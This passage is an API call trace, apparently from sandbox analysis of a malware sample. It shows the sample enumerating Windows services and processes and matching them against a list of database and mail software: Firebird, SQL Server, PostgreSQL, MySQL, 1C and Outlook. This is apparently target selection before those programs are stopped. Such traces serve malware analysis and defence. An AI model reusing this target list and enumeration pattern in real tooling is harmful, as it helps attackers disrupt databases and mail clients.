	[0257.146] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0257.146] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0257.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0257.146] lstrlenW (lpString="PlugPlay") returned 8
	[0257.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0257.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0257.146] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0257.146] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0257.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0257.146] lstrlenW (lpString="Power") returned 5
	[0257.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0257.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0257.146] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0257.146] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0257.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0257.146] lstrlenW (lpString="ProfSvc") returned 7
	[0257.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0257.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0257.146] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0257.146] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0257.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0257.146] lstrlenW (lpString="RpcEptMapper") returned 12
	[0257.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0257.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0257.146] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0257.147] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0257.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0257.147] lstrlenW (lpString="RpcSs") returned 5
	[0257.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0257.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0257.147] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0257.147] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0257.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0257.147] lstrlenW (lpString="SamSs") returned 5
	[0257.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0257.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0257.147] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0257.147] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0257.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0257.147] lstrlenW (lpString="Schedule") returned 8
	[0257.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0257.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0257.147] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0257.147] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0257.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0257.147] lstrlenW (lpString="SENS") returned 4
	[0257.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0257.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0257.147] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0257.147] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0257.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0257.147] lstrlenW (lpString="ShellHWDetection") returned 16
	[0257.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0257.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0257.147] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0257.147] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0257.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0257.148] lstrlenW (lpString="Spooler") returned 7
	[0257.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0257.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0257.148] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0257.148] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0257.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0257.148] lstrlenW (lpString="Themes") returned 6
	[0257.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0257.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0257.148] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0257.148] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0257.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0257.148] lstrlenW (lpString="UxSms") returned 5
	[0257.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0257.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0257.148] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0257.148] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0257.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0257.148] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0257.148] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x28c
	[0257.150] Process32FirstW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0257.150] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0257.150] lstrlenW (lpString="System") returned 6
	[0257.150] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0257.150] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0257.150] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0257.150] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0257.150] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0257.150] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0257.150] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0257.150] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0257.151] lstrlenW (lpString="smss.exe") returned 8
	[0257.151] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0257.151] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0257.151] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0257.151] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0257.151] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0257.151] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0257.151] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0257.151] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0257.151] lstrlenW (lpString="csrss.exe") returned 9
	[0257.151] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0257.151] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0257.151] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0257.151] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0257.151] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0257.151] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0257.151] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0257.151] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0257.152] lstrlenW (lpString="wininit.exe") returned 11
	[0257.152] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0257.152] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0257.152] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0257.152] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0257.152] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0257.152] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0257.152] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0257.152] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0257.152] lstrlenW (lpString="csrss.exe") returned 9
	[0257.152] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0257.152] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0257.152] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0257.152] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0257.152] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0257.152] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0257.152] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0257.152] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0257.153] lstrlenW (lpString="winlogon.exe") returned 12
	[0257.153] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0257.153] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0257.153] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0257.153] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0257.153] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0257.153] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0257.153] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0257.153] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0257.153] lstrlenW (lpString="services.exe") returned 12
	[0257.153] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0257.153] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0257.153] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0257.153] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0257.153] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0257.153] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0257.153] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0257.153] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0257.154] lstrlenW (lpString="lsass.exe") returned 9
	[0257.154] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0257.154] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0257.154] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0257.154] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0257.154] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0257.154] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0257.154] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0257.154] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0257.154] lstrlenW (lpString="lsm.exe") returned 7
	[0257.154] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0257.154] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0257.154] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0257.154] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0257.154] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0257.154] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0257.154] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0257.154] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0257.155] lstrlenW (lpString="svchost.exe") returned 11
	[0257.155] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0257.155] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0257.155] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0257.155] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0257.155] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0257.155] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0257.155] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0257.155] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0257.155] lstrlenW (lpString="svchost.exe") returned 11
	[0257.155] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0257.155] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0257.155] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0257.155] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0257.155] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0257.155] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0257.155] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0257.155] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0257.156] lstrlenW (lpString="svchost.exe") returned 11
	[0257.156] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0257.156] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0257.156] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0257.156] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0257.156] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0257.156] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0257.156] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0257.156] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0257.156] lstrlenW (lpString="svchost.exe") returned 11
	[0257.156] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0257.156] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0257.156] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0257.156] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0257.156] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0257.156] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0257.157] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0257.157] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0257.157] lstrlenW (lpString="svchost.exe") returned 11
	[0257.157] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0257.157] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0257.157] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0257.157] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0257.157] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0257.157] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0257.157] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0257.157] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0257.157] lstrlenW (lpString="audiodg.exe") returned 11
	[0257.157] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1
	[0257.158] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0257.158] lstrlenW (lpString="svchost.exe") returned 11
	[0257.158] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0257.158] lstrlenW (lpString="userinit.exe") returned 12
	[0257.158] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0257.158] lstrlenW (lpString="explorer.exe") returned 12
	[0257.158] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0257.159] lstrlenW (lpString="dwm.exe") returned 7
	[0257.159] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0257.159] lstrlenW (lpString="svchost.exe") returned 11
	[0257.159] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0257.160] lstrlenW (lpString="swpesp.exe") returned 10
	[0257.160] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0257.160] lstrlenW (lpString="spoolsv.exe") returned 11
	[0257.160] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0257.160] lstrlenW (lpString="dllhost.exe") returned 11
	[0257.160] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0257.161] lstrlenW (lpString="taskhost.exe") returned 12
	[0257.161] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0257.161] lstrlenW (lpString="svchost.exe") returned 11
	[0257.161] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0257.161] lstrlenW (lpString="reader_sl.exe") returned 13
	[0257.161] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0257.161] CloseHandle (hObject=0x28c) returned 1
	[0257.162] Sleep (dwMilliseconds=0x1f4) 
	[0257.739] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280860
	[0258.016] EnumServicesStatusExW (in: hSCManager=0x4280860, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0258.017] GetLastError () returned 0xea
	[0258.017] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc9a) returned 0x41f5d68
	[0258.017] EnumServicesStatusExW (in: hSCManager=0x4280860, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xc9a, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0258.018] CloseServiceHandle (hSCObject=0x4280860) returned 1
	[0258.018] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0258.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0258.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0258.018] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0258.018] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0258.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0258.018] lstrlenW (lpString="AudioSrv") returned 8
	[0258.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0258.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0258.018] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0258.018] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
